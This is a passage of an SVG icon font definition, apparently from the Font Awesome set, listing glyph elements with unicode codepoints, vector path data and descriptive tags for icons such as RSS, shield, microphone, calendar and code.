21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="rss-sign, atom, feed" />
<glyph unicode="&#xf142;" d="M 96,72l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 96,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 96,328l0-48 q0-10 -7-17t-17-7l-48,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17z" horiz-adv-x="96" data-tags="ellipsis-vertical, dots" />
<glyph unicode="&#xf141;" d="M 96,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 224,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 352,200l0-48 q0-10 -7-17t-17-7l-48,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17z" horiz-adv-x="352" data-tags="ellipsis-horizontal, dots, more" />
<glyph unicode="&#xf140;" d="M 256,160q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25zM 288,160q0,39.75 -28.125,67.875t-67.875,28.125t-67.875-28.125t-28.125-67.875t 28.125-67.875t 67.875-28.125t 67.875,28.125t 28.125,67.875zM 320,160q0-53 -37.5-90.5t-90.5-37.5t-90.5,37.5 t-37.5,90.5t 37.5,90.5t 90.5,37.5t 90.5-37.5t 37.5-90.5zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="bullseye, target, goal" />
<glyph unicode="&#xf13e;" d="M 264,192q 10,0 17-7t 7-17l0-144 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,144 q0,10 7,17t 17,7l 8,0 l0,80 q0,46.25 32.875,79.125t 79.125,32.875t 79.125-32.875t 32.875-79.125q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25 l0-80 l 184,0 z" horiz-adv-x="288" data-tags="unlock-alt, lock, login" />
<glyph unicode="&#xf13d;" d="M 240,320q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 448,88l0-88 q0-5.5 -5-7.5q-2-0.5 -3-0.5q-3.25,0 -5.75,2.25l-23.25,23.25q-29.75-35.75 -79.625-56.625t-107.375-20.875t-107.375,20.875t-79.625,56.625l-23.25-23.25q-2.25-2.25 -5.75-2.25q-1,0 -3,0.5q-5,2 -5,7.5l0,88  q0,3.5 2.25,5.75t 5.75,2.25l 88,0 q 5.5,0 7.5-5q 2-4.75 -1.75-8.75l-25-25q 16.75-22.75 47.375-38.375t 67.875-20.625l0,161.75 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 48,0 l0,40.75 q-14.5,8.5 -23.25,23.125t-8.75,32.125q0,26.5 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25q0-17.5 -8.75-32.125t-23.25-23.125l0-40.75 l 48,0 q 6.5,0 11.25-4.75 t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-161.75 q 37.25,5 67.875,20.625t 47.375,38.375l-25,25q-3.75,4 -1.75,8.75q 2,5 7.5,5l 88,0 q 3.5,0 5.75-2.25t 2.25-5.75z" data-tags="anchor, link" />
<glyph unicode="&#xf13c;" d="M 68.75,352l 376.25,0 l-66.5-333.25l-201-66.75l-174.5,66.75l 17.75,89l 74.25,0 l-7.25-36.75l 105.5-40.25l 121.5,40.25l 17,84.75l-302,0 l 14.5,74.25l 302.25,0 l 9.5,47.75l-302,0 z" data-tags="css3" />
<glyph unicode="&#xf13b;" d="M 282.5,234.75l 4,43.75l-221,0 l 11.75-133.5l 153,0 l-5.5-57l-49.25-13.25l-49,13.25l-3.25,35l-43.75,0 l 5.5-69.5l 90.5-25l 1,0 l0,0.25 l 89.75,24.75l 12.5,136l-161,0 l-3.75,45.25l 168.5,0 zM0,352l 352,0 l-32-359.5l-144.5-40.5l-143.5,40.5z" horiz-adv-x="352" data-tags="html5" />
<glyph unicode="&#xf13a;" d="M 203.25,59.25l 113.5,113.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-76.75-76.75l-76.75,76.75q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 113.5-113.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="chevron-sign-down, arrow, down" />
<glyph unicode="&#xf139;" d="M 291.25,99.25l 25.5,25.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-113.5,113.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-113.5-113.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75l 76.75,76.75l 76.75-76.75q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="chevron-sign-up, arrow, up" />
<glyph unicode="&#xf138;" d="M 179.25,35.25l 113.5,113.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-113.5,113.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 76.75-76.75l-76.75-76.75q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="chevron-sign-right, right, arrow" />
<glyph unicode="&#xf137;" d="M 227.25,35.25l 25.5,25.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-76.75,76.75l 76.75,76.75q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-113.5-113.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 113.5-113.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875 t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="chevron-sign-left, left, arrow" />
<glyph unicode="&#xf136;" d="M 427,220.25l-47-220.25l-76,0 l 45.25,212.25q 1,5.25 0.25,10.75q-1,5 -4,8.75q-2.5,3.5 -7,6q-4.5,2.25 -10,2.25l-49.25,0 l-51.25-240l-75.75,0 l 51,240l-76,0 l-51.25-240l-76,0 l 68,320l 284.75,0 q 39.25,0 61.25-29.5q 21.5-29 13-70.25z" data-tags="maxcdn" />
<glyph unicode="&#xf135;" d="M 360,272q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 416,344q0-62.25 -18.875-107.625t-63.375-90.125q-20.25-20 -48.75-44l-5-94.75q-0.5-4 -4-6.5l-96-56q-1.75-1 -4-1q-3,0 -5.75,2.25l-16,16q-3.25,3.5 -2,8l 21.25,69l-70.25,70.25l-69-21.25q-0.75-0.25 -2.25-0.25 q-3.5,0 -5.75,2.25l-16,16q-4.25,4.75 -1.25,9.75l 56,96q 2.5,3.5 6.5,4l 94.75,5q 24,28.5 44,48.75q 47,46.75 89.5,64.5t 107.75,17.75q 3.5,0 6-2.375t 2.5-5.625z" horiz-adv-x="416" data-tags="rocket, speed, jet" />
<glyph unicode="&#xf134;" d="M 128,336q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,344l0-80 q0-4 -3-6.25q-2-1.75 -5-1.75q-1,0 -1.75,0.25l-112,24q-2.75,0.5 -4.5,2.75t-1.75,5l-64,0 l0-25.5 q 27.75-5.75 45.875-27.75t 18.125-50.75l0-200 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,200  q0,26.5 15.625,47.625t 40.375,28.625l0,27.75 l-8,0 q-14.75,0 -28.75-5.875t-22.875-13.25t-16.5-16.625t-10.125-13.375t-3.5-6.125q-4.25-8.75 -14.25-8.75q-4,0 -7.25,1.75q-5.75,3 -7.875,9.25t 0.875,12.25q 1.25,2.5 3.625,6.5t 9.375,13.375t 15.125,17.5t 21.25,16.75t 27.125,13.125q-6.25,10.5 -6.25,21.5q0,16.5 11.75,28.25t 28.25,11.75t 28.25-11.75t 11.75-28.25 q0-8.25 -3.5-16l 75.5,0 q0,2.75 1.75,5t 4.5,2.75l 112,24q 0.75,0.25 1.75,0.25q 3,0 5-1.75q 3-2.25 3-6.25z" horiz-adv-x="352" data-tags="fire-extinguisher" />
<glyph unicode="&#xf133;" d="M 32-32l 352,0 l0,256 l-352,0 l0-256 zM 128,272l0,72 q0,3.5 -2.25,5.75t-5.75,2.25l-16,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-72 q0-3.5 2.25-5.75t 5.75-2.25l 16,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 320,272l0,72 q0,3.5 -2.25,5.75t-5.75,2.25l-16,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-72 q0-3.5 2.25-5.75t 5.75-2.25l 16,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 416,288l0-320  q0-13 -9.5-22.5t-22.5-9.5l-352,0 q-13,0 -22.5,9.5t-9.5,22.5l0,320 q0,13 9.5,22.5t 22.5,9.5l 32,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 96,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 32,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416" data-tags="calendar-empty, schedule, date" />
<glyph unicode="&#xf132;" d="M 272,144l0,160 l-112,0 l0-284.25 q 29.75,15.75 53.25,34.25q 58.75,46 58.75,90zM 320,336l0-192 q0-21.5 -8.375-42.625t-20.75-37.5t-29.5-31.875t-31.625-25.75t-30.25-19.375t-22.375-12.375t-10.625-5q-3-1.5 -6.5-1.5t-6.5,1.5q-4,1.75 -10.625,5t-22.375,12.375t-30.25,19.375t-31.625,25.75t-29.5,31.875t-20.75,37.5 t-8.375,42.625l0,192 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="320" data-tags="shield, defense, security, guard" />
<glyph unicode="&#xf131;" d="M 67.75,147.75l-25.25-25.25q-10.5,25.75 -10.5,53.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 q0-13.25 3.75-28.25zM 346.25,298.25l-90.25-90.25l0-32 q0-33 -23.5-56.5t-56.5-23.5q-13.75,0 -27.25,4.75l-24-24q 24.25-12.75 51.25-12.75q 46.25,0 79.125,32.875t 32.875,79.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32  q0-55.25 -36.875-96.125t-91.125-46.875l0-33 l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 l0,33 q-31.25,3.25 -58.75,20.25l-63.5-63.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-20.5,20.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 308.5,308.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 20.5-20.5q 2.5-2.5 2.5-5.75 t-2.5-5.75zM 251.25,331.25l-155.25-155.25l0,128 q0,33 23.5,56.5t 56.5,23.5q 25.5,0 46.125-14.75t 29.125-38z" horiz-adv-x="352" data-tags="microphone-off, voice, record" />
<glyph unicode="&#xf130;" d="M 288,208l0-32 q0-55.25 -36.875-96.125t-91.125-46.875l0-33 l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 l0,33 q-54.25,6 -91.125,46.875t-36.875,96.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 q0-46.25 32.875-79.125t 79.125-32.875 t 79.125,32.875t 32.875,79.125l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 224,304l0-128 q0-33 -23.5-56.5t-56.5-23.5t-56.5,23.5t-23.5,56.5l0,128 q0,33 23.5,56.5t 56.5,23.5t 56.5-23.5t 23.5-56.5z" horiz-adv-x="288" data-tags="microphone, record, voice" />
<glyph unicode="&#xf12e;" d="M 416,109.5q0-20.25 -11.125-33.75t-30.875-13.5q-10.25,0 -19.375,4.375t-14.75,9.5t-14.125,9.5t-17.75,4.375q-27.5,0 -27.5-31q0-9.75 4-28.75t 3.75-28.75l0-1.25 q-5.5,0 -8.25-0.25q-8.5-0.75 -24.375-2.875t-28.875-3.375t-24.5-1.25q-15.25,0 -25.75,6.625t-10.5,20.875q0,9.25 4.375,17.75t 9.5,14.125t 9.5,14.75t 4.375,19.375q0,19.75 -13.5,30.875 t-33.75,11.125q-21,0 -35.75-11.375t-14.75-31.875q0-10.75 3.75-20.75t 8.375-16.125t 8.375-13.25t 3.75-12.625q0-11.25 -11.5-22.25q-9.25-8.75 -29.25-8.75q-23.75,0 -61.25,6q-2.25,0.5 -6.875,1t-6.875,1l-3.25,0.5q-0.25,0 -0.75,0.25q-0.5,0 -0.5,0.25l0,256 q 0.5-0.25 4.375-0.875t 8.5-1.25t 5.375-0.875q 37.5-6 61.25-6q 20,0 29.25,8.75q 11.5,11 11.5,22.25 q0,5.5 -3.75,12.625t-8.375,13.25t-8.375,16.125t-3.75,20.75q0,20.5 14.75,31.875t 36,11.375q 20,0 33.5-11.125t 13.5-30.875q0-10.25 -4.375-19.375t-9.5-14.75t-9.5-14.125t-4.375-17.75q0-14.25 10.5-20.875t 25.75-6.625q 16,0 45,3.75t 40.75,4.25l0-0.5 q-0.25-0.5 -0.875-4.375t-1.25-8.5t-0.875-5.375q-6-37.5 -6-61.25q0-20 8.75-29.25 q 11-11.5 22.25-11.5q 5.5,0 12.625,3.75t 13.25,8.375t 16.125,8.375t 20.75,3.75q 20.5,0 31.875-14.75t 11.375-35.75z" horiz-adv-x="416" data-tags="puzzle, piece, plugin, extension" />
<glyph unicode="&#xf12d;" d="M 224,32l 84,96l-192,0 l-84-96l 192,0 zM 477.25,301.25q 3.75-8.5 2.375-17.875t-7.625-16.375l-224-256q-9.5-11 -24-11l-192,0 q-9.5,0 -17.375,5.125t-11.875,13.625q-3.75,8.5 -2.375,17.875t 7.625,16.375l 224,256q 9.5,11 24,11l 192,0 q 9.5,0 17.375-5.125t 11.875-13.625z" horiz-adv-x="480" data-tags="eraser, clear, rubber" />
<glyph unicode="&#xf12c;" d="M 224.25,41.75l0-41.75 l-62,0 l-39.75,63l-6,10.5q-2,2.25 -2.75,5.25l-0.75,0 l-2.25-5.25q-2.5-5 -6.25-11l-38.75-62.5l-64.5,0 l0,41.75 l 32,0 l 49.25,72.75l-46.25,68l-34.25,0 l0,42 l 69,0 l 34.75-57q 0.5-1 5.75-10.5q 2-2.25 2.75-5.25l 0.75,0 q 0.75,2.25 2.75,5.25l 6.25,10.5l 35,57l 64.25,0 l0-42 l-31.25,0 l-46-66.75l 51-74l 27.25,0 zM 384-12.5l0-51.5 l-128.5,0 l-1,6.75 q-0.75,11.25 -0.75,11.5q0,16 6.5,29.25t 16.25,21.625t 21,16.25t 21,13.625t 16.25,13.5t 6.5,16q0,9.5 -7.375,15.625t-17.625,6.125q-12.75,0 -24.25-9.75q-3.5-2.75 -9-9.5l-26.25,23q 6.5,9.25 15.75,16.5q 20,16.25 47,16.25q 27.5,0 44.5-14.875t 17-39.625q0-16.5 -8.625-29.625t-21-21.5t-24.875-15.625t-21.75-15.75t-10.25-18.25l 58,0 l0,20 l 31.5,0 z" horiz-adv-x="384" data-tags="subscript" />
<glyph unicode="&#xf12b;" d="M 224.25,41.75l0-41.75 l-62,0 l-39.75,63l-6,10.5q-2,2.25 -2.75,5.25l-0.75,0 l-2.25-5.25q-2.5-5 -6.25-11l-38.75-62.5l-64.5,0 l0,41.75 l 32,0 l 49.25,72.75l-46.25,68l-34.25,0 l0,42 l 69,0 l 34.75-57q 0.5-1 5.75-10.5q 2-2.25 2.75-5.25l 0.75,0 q 0.75,2.25 2.75,5.25l 6.25,10.5l 35,57l 64.25,0 l0-42 l-31.25,0 l-46-66.75l 51-74l 27.25,0 zM 383.5,211.5l0-51.5 l-128.5,0 l-0.75,6.75 q-1,7 -1,11.5q0,16 6.5,29.25t 16.25,21.625t 21,16.25t 21,13.625t 16.25,13.5t 6.5,16q0,9.5 -7.375,15.625t-17.625,6.125q-12.75,0 -24.25-9.75q-3.5-2.75 -9-9.5l-26.25,23q 6.5,9.25 15.75,16.5q 20.75,16.25 47,16.25q 27.5,0 44.5-14.875t 17-39.625q0-14 -6.125-25.75t-15.5-19.125t-20.375-14.625t-20.5-12.625t-16.375-12.875t-7.625-15.75l 58,0 l0,20  l 31.5,0 z" horiz-adv-x="384" data-tags="superscript, power" />
<glyph unicode="&#xf12a;" d="M 128,72l0-56 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,56 q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 135.5,336l-7-192q-0.25-6.5 -5.125-11.25t-11.375-4.75l-64,0 q-6.5,0 -11.375,4.75t-5.125,11.25l-7,192q-0.25,6.5 4.375,11.25t 11.125,4.75l 80,0 q 6.5,0 11.125-4.75t 4.375-11.25z" horiz-adv-x="160" data-tags="exclamation, warning, notification" />
<glyph unicode="&#xf129;" d="M 160,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 l0,96 l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-144 l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 128,336l0-48 q0-6.5 -4.75-11.25t-11.25-4.75l-64,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,48  q0,6.5 4.75,11.25t 11.25,4.75l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="160" data-tags="info" />
<glyph unicode="&#xf128;" d="M 176,70l0-60 q0-4 -3-7t-7-3l-60,0 q-4,0 -7,3t-3,7l0,60 q0,4 3,7t 7,3l 60,0 q 4,0 7-3t 3-7zM 255,220q0-13.5 -3.875-25.25t-8.75-19.125t-13.75-14.875t-14.375-10.875t-15.25-8.875q-10.25-5.75 -17.125-16.25t-6.875-16.75q0-4.25 -3-8.125t-7-3.875l-60,0 q-3.75,0 -6.375,4.625 t-2.625,9.375l0,11.25 q0,20.75 16.25,39.125t 35.75,27.125q 14.75,6.75 21,14t 6.25,19q0,10.5 -11.625,18.5t-26.875,8q-16.25,0 -27-7.25q-8.75-6.25 -26.75-28.75q-3.25-4 -7.75-4q-3,0 -6.25,2l-41,31.25q-3.25,2.5 -3.875,6.25t 1.375,7q 40,66.5 116,66.5q 20,0 40.25-7.75t 36.5-20.75t 26.5-31.875t 10.25-39.625z" horiz-adv-x="256" data-tags="question, ask, help" />
<glyph unicode="&#xf127;" d="M 109.75,66.25l-64-64q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25q-2.25,2.5 -2.25,5.75t 2.25,5.75l 64,64q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75zM 152,56l0-80 q0-3.5 -2.25-5.75t-5.75-2.25t-5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25t 5.75-2.25t 2.25-5.75zM 96,112q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25t-2.25,5.75t 2.25,5.75t 5.75,2.25l 80,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 412,80q0-30 -21.25-50.75l-36.75-36.5q-20.75-20.75 -50.75-20.75q-30.25,0 -51,21.25l-83.5,83.75q-5.25,5.25 -10.5,14l 59.75,4.5l 68.25-68.5q 6.75-6.75 17-6.875t 17,6.625l 36.75,36.5q 7,7 7,16.75q0,10 -7,17l-68.5,68.75l 4.5,59.75q 8.75-5.25 14-10.5l 84-84q 21-21.5 21-51zM 257.75,261l-59.75-4.5 l-68.25,68.5q-7,7 -17,7q-9.75,0 -17-6.75l-36.75-36.5q-7-7 -7-16.75q0-10 7-17l 68.5-68.5l-4.5-60q-8.75,5.25 -14,10.5l-84,84q-21,21.5 -21,51q0,30 21.25,50.75l 36.75,36.5q 20.75,20.75 50.75,20.75q 30.25,0 51-21.25l 83.5-83.75q 5.25-5.25 10.5-14zM 416,240q0-3.5 -2.25-5.75t-5.75-2.25l-80,0 q-3.5,0 -5.75,2.25 t-2.25,5.75t 2.25,5.75t 5.75,2.25l 80,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 280,376l0-80 q0-3.5 -2.25-5.75t-5.75-2.25t-5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25t 5.75-2.25t 2.25-5.75zM 381.75,338.25l-64-64q-2.75-2.25 -5.75-2.25t-5.75,2.25q-2.25,2.5 -2.25,5.75t 2.25,5.75l 64,64q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75z" horiz-adv-x="416" data-tags="unlink, link" />
<glyph unicode="&#xf126;" d="M 72,16q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 72,304q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 232,272q0,10 -7,17t-17,7t-17-7t-7-17t 7-17t 17-7t 17,7t 7,17zM 256,272q0-13 -6.5-24.125t-17.5-17.375 q-0.5-71.75 -56.5-103.5q-17-9.5 -50.75-20.25q-32-10 -42.375-17.75t-10.375-25l0-6.5 q 11-6.25 17.5-17.375t 6.5-24.125q0-20 -14-34t-34-14t-34,14t-14,34q0,13 6.5,24.125t 17.5,17.375l0,205 q-11,6.25 -17.5,17.375t-6.5,24.125q0,20 14,34t 34,14t 34-14t 14-34q0-13 -6.5-24.125t-17.5-17.375l0-124.25  q 13.5,6.5 38.5,14.25q 13.75,4.25 21.875,7.375t 17.625,7.75t 14.75,9.875t 10.125,12.75t 7,17.375t 2.125,22.875q-11,6.25 -17.5,17.375t-6.5,24.125q0,20 14,34t 34,14t 34-14t 14-34z" horiz-adv-x="256" data-tags="code-fork, branch" />
<glyph unicode="&#xf125;" d="M 139.25,64l 148.75,0 l0,148.75 zM 128,75.25l 148.75,148.75l-148.75,0 l0-148.75 zM 416,56l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-56 q0-3.5 -2.25-5.75t-5.75-2.25l-48,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,56 l-216,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,216 l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,56 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75 l0-56 l 212.75,0 l 61.5,61.75q 2.5,2.25 5.75,2.25t 5.75-2.25q 2.25-2.5 2.25-5.75t-2.25-5.75l-61.75-61.5l0-212.75 l 56,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="416" data-tags="crop" />
<glyph unicode="&#xf124;" d="M 350.25,296.75l-160-320q-4.25-8.75 -14.25-8.75q-1.25,0 -3.75,0.5q-5.5,1.25 -8.875,5.625t-3.375,9.875l0,144 l-144,0 q-5.5,0 -9.875,3.375t-5.625,8.875t 1,10.5t 7.25,7.5l 320,160q 3.25,1.75 7.25,1.75q 6.75,0 11.25-4.75q 3.75-3.5 4.625-8.625t-1.625-9.875z" horiz-adv-x="352" data-tags="location-arrow, map, arrow" />
<glyph unicode="&#xf123;" d="M 296.5,144.75l 64.25,62.5l-89,13l-16.5,2.5l-7.5,15l-39.75,80.5l0-240.75 l 14.75-7.75l 79.5-42l-15,88.75l-3,16.5zM 409.5,210.25l-90.75-88.5l 21.5-125q 1.25-8.25 -1.5-12.875t-8.5-4.625q-4.25,0 -10,3l-112.25,59l-112.25-59q-5.75-3 -10-3q-5.75,0 -8.5,4.625t-1.5,12.875l 21.5,125l-91,88.5q-8,8 -5.75,14.875t 13.5,8.625 l 125.5,18.25l 56.25,113.75q 5,10.25 12.25,10.25q 7,0 12.25-10.25l 56.25-113.75l 125.5-18.25q 11.25-1.75 13.5-8.625t-6-14.875z" horiz-adv-x="416" data-tags="star-half-full, star, rating, rate" />
<glyph unicode="&#xf122;" d="M 160,113.5l0-17.5 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-17.25 l-99.25-99.5q-4.75-4.75 -4.75-11.25t 4.75-11.25zM 448,104q0-14.5 -4.25-33.375t-9.625-34.5t-12-31.25t-10.125-22.625l-5-10q-2-4.25 -7-4.25q-1.5,0 -2.25,0.25 q-6.25,2 -5.75,8.5q 10.75,100 -26.5,141.25q-16,17.75 -42.625,27.625t-66.875,13.125l0-62.75 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-65.5 q 102.75-7 149.75-55.25q 42.25-43.25 42.25-127.25z" data-tags="reply-all, mail-reply-all" />
<glyph unicode="&#xf121;" d="M 154.25,34.25l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75t-2.5-5.75zM 302,301l-93.25-322.75q-1-3.25 -3.875-4.875t-5.875-0.625l-15.5,4.25q-3.25,1 -4.875,3.875t-0.625,6.125 l 93.25,322.75q 1,3.25 3.875,4.875t 5.875,0.625l 15.5-4.25q 3.25-1 4.875-3.875t 0.625-6.125zM 466.25,138.25l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75t-2.5-5.75z" horiz-adv-x="480" data-tags="code, embed" />
